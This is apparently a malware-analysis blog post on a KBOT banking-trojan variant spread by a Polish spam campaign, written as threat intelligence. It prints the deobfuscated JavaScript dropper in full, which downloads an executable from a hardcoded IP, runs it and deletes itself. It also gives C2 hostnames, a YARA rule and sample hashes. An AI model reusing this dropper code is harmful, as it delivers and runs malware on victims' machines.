lokalhost.pl/txt/newest_addition_to_happy_family_kbot.17.05.2015.txt

Newest addition to a happy family: KBOT

At the beginning of the May here in Poland we have couple of free days. 3rd May is Constitution Day, and May 1st is Labour Day.
Most of us use those days to unwind after winter, but some malware authors apparently didn’t: a few weeks ago, our friends started a new campaign,
spreading some poorly obfuscated Javascript and quite an interesting modification of KBOT from the Carberp leak.

Spam run.

If you want to stay trendy, you have to follow the trendsetters and the in malware world these days, these apparently are the Dridex and Locky gang.
Since they moved to spreading JavaScript’s instead of .doc/.docm/.pdf.exe, the rest of the world has followed.

The first payload is a Javascript dropper, and it doesn’t do anything except download the second stage in a loop.
The obfuscation used here is interesting but trivial to break.
I came up with this nifty one liner ;]

```
cat Zamowienie.js | python2 -c 'import re,sys;print re.sub(r"\\u00([a-f0-9]{2})",lambda x: chr(int(x.group(1),16)),sys.stdin.read())' | sed -e "s/;/;\n/g" | sed -e "s/{[a-z0-9]\+:\('.'\)}\.[a-z0-9]\+/\1/g" | sed -e"s/'+'//g"
```

And voila!

```
var obj_from = this['ActiveXObject'];
var obj_thousands7 = this['WScript'];
var obj_data6 = obj_thousands7['CreateObject']('WScript.Shell');
var fso12 = new obj_from('Scripting.FileSystemObject');
var obj_numerous = new obj_from('ADODB.Stream');
var obj_hundreds2 = new obj_from('Shell.Application');
var obj_radiofrequency10 = obj_data6['ExpandEnvironmentStrings']('%TEMP%');
var obj_since = obj_radiofrequency10 + '\\' + Math['floor']((Math['random']() * (40 + 10 + 50)) + 1) + '.exe';
var obj_they = new obj_from('Msxml2.ServerXMLHTTP');
var obj_find = '\aflash_update.js';
var obj_from = obj_hundreds2['NameSpace'](3 + 2 + 2);
var flagme = false;
var okidoki = false;
var tone = 1;
var obj_including6 = null;
var obj_trigger = '';
var obj_practitioners2 = obj_thousands7['ScriptFullNam' + {
Sc3: 'e'
}.Sc3];
var obj_software = obj_from.Self.Path + obj_find;
var url12 = 'https://217.28.218.217/AE5600FFCBCC/q64.php?
add=gtyhbncdfewpnjm9oklmnfdrtqdczdfgrt';
if ((obj_practitioners2 != obj_software) && (flagme == false)) {
flagme = true;
fso12['DeleteFile'](obj_practitioners2);
obj_thousands7['echo']('The document is corrupted and cannot be opened');
obj_thousands7['Sleep'](4000 + 4000);
}
while (true) {
tone = tone + 1;
if (tone == 300000000) {
while (true) {
try {
obj_they['setOption'](3, 'MSXML');
obj_they['open']('GET', url12 + '&' + Math['floor']((Math['random']() * (200)) + 1), false);
obj_they['send']();
if (obj_they['status'] == (100 + 100)) {
if (fso12['FileExists'](obj_since)) fso12['DeleteFile'](obj_since);
obj_numerous['Open']();
obj_numerous['Type'] = 1;
obj_numerous['Write'](obj_they['responseBody']);
obj_numerous['Position'] = 0;
obj_numerous['SaveToFile'](obj_since);
obj_numerous['Close']();
obj_including6 = fso12['GetFile'](obj_since)['OpenAsTextStream'](1);
if (fso12['FileExists'](obj_since) && obj_including6['ReadLine']()['substring'](0, 2) == 'MZ') {
okidoki = true;
obj_hundreds2['ShellExecute'](obj_since, '', '', 'open', '1');
if (fso12['FileExists'](obj_thousands7['ScriptFullName']))
fso12['DeleteFile'](obj_thousands7['ScriptFullName']);
obj_thousands7['Sleep'](4000);
if (fso12['FileExists'](obj_since)) fso12['DeleteFile'](obj_since);
}
obj_including6['Close']();
}
} catch (e) {}
if (okidoki == true) {
break;
}
obj_thousands7['Sleep'](10000 * 7);
}
break;
}
};
```

Second Stage, Malware.

As mentioned above, this a KBOT spin off, and it looks like it’s actively being developed and tested in production.
First version ate my whole RAM and keeps crashing, rebooting my system.
However, it improved recently, and right now after a few iterations is much more stable.

KBOT originally was a very simple user-mode downloader, core of old ursnif/gozi2/isfb is my guess.
This malware has much more to offer tho.

Things that changed:

- Tor support, yet no Tor found on machine.
- Removed get parameters in favour of json-encoded post data.
- Much more complicated encryption schema (not fully reversed yet)
- Addition of mongoose http server (why is it there?)
- There are probably more changes, but I did only a preliminary analysis of this malware.

What didn’t change is how they store configuration data.
Or maybe a just a little bit – they added a big header in front `BASECONFIG......` ;]

After that we can find typical FJ-struct,

```
00000000 fj_struct struc ; (sizeof=0x14, mappedto_188)
00000000 id dw ?
00000002 field_2 dw ?
00000004 offset dd ?
00000008 size dd ?
0000000C crc_tag dd ?
00000010 flags dd ?
00000014 fj_struct ends
```

And config with crc_tag == 0xefc75d60 is stored in plain text at the beginning of .reloc section

```
{
"BotConfig":
{
"ServerPub":"44DCF35866EB4992264E809EDD001737C65E28BB4DAB8DC7DA5CFA7F1AA05619",
"TaskPeriod": 600,
"FailPeriod": 600,
"BotCommunity": "group_102",
"Hosts":
[
"mensabuxus.net",
"ogrthuvwfdcfri5euwg.com",
"ogrthuvfewfdcfri5euwg.com"
]
}
}
```

Current version is, 16777472 which I suppose can be transformed to 1.00.01.00 so its brand new ;]

From other notes, it looks like it's protected by Rovnix, there is some code to accessing hidden partitions,
but it can be just leftovers from original KBOT source code, since I didn't see any Rovnix related code.
Oh and this the first malware I have seen implementing proper hmac for messages, bravo!

This is just a heads-up article to inform you that there is a new interesting threat. I'm still working on reversing it, so further analysis will follow (hopefully ;))

One last thing as a side note, it is quite interesting to see that ISFB, the most spread banker in .pl is being replaced with something that has roots in the same Carberp leak.
I'm very curious to see which one will win the market 😉;]

Here are some hashes and yara rule for the unpacked sample

```
rule kbot : banker
{
meta:
author = "mak"
module = "kbot"

strings:
$bot_cfg = "BASECONFIG......FJ"
$injini = "INJECTS.INI"
$kbotini = "KBOT.INI"
$bot0 = "BotConfig"
$bot1 = "BotCommunity"
$push_version = { 5? 68 [4] 68 [4] 5? E8 [4] 83 C4 10 85 C0 0F}
condition:
all of them
}
```

62962da720d478bb3510dabc691db37df546749b440caa45d75d9fbfb69d82f9

6e6ef05382010f857ecef17082e9c38b54133380f709b5b25e77afdcacf2b9ca

12769a17f85a4c7d56cfe5754184db976b9a361dc7b5d2a8f50e82d7442651aa

5eccbdae80a1c1e8cb8574986393fc958394b66978ec348d00afe3ec828d20ac